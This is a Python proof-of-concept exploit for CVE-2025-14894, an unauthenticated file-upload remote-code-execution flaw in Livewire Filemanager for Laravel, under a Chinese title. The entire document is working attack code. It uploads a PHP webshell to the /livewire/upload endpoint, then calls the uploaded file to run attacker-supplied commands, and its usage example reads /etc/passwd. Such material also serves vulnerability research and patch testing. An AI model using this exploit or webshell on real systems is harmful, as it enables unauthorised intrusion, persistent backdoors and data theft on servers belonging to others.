CVE-2025-14894 Livewire Filemanager未授权文件上传RCE漏洞

import requests import sys # CVE-2025-14894 PoC - Livewire Filemanager Unauthenticated RCE # Target: Laravel application with Livewire Filemanager installed def exploit(target_url, command="id"): """ Exploit for CVE-2025-14894: Livewire Filemanager File Upload RCE Args: target_url: Base URL of the vulnerable application command: System command to execute (default: 'id') Returns: Command output from the target system """ upload_url = f"{target_url}/livewire/upload" # Malicious PHP webshell payload php_payload = f"<?php system($_GET['cmd']); ?>" files = { 'file': ('exploit.php', php_payload, 'application/x-php') } data = { 'uuids': 'test', 'chunk': 'false', 'chunkSize': 0 } headers = { 'X-Livewire': 'true', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Uploading malicious PHP file to {upload_url}") response = requests.post(upload_url, files=files, data=data, headers=headers, timeout=30) if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[*] Response: {response.text}") # Attempt to execute command via uploaded file shell_url = f"{target_url}/storage/filemanager/uploads/exploit.php?cmd={command}" print(f"[*] Executing command via: {shell_url}") exec_response = requests.get(shell_url, timeout=30) print(f"[+] Command output:\n{exec_response.text}") return exec_response.text else: print(f"[-] Upload failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14894.py <target_url> [command]") print("Example: python cve-2025-14894.py http://vulnerable-app.com 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "id" exploit(target, cmd)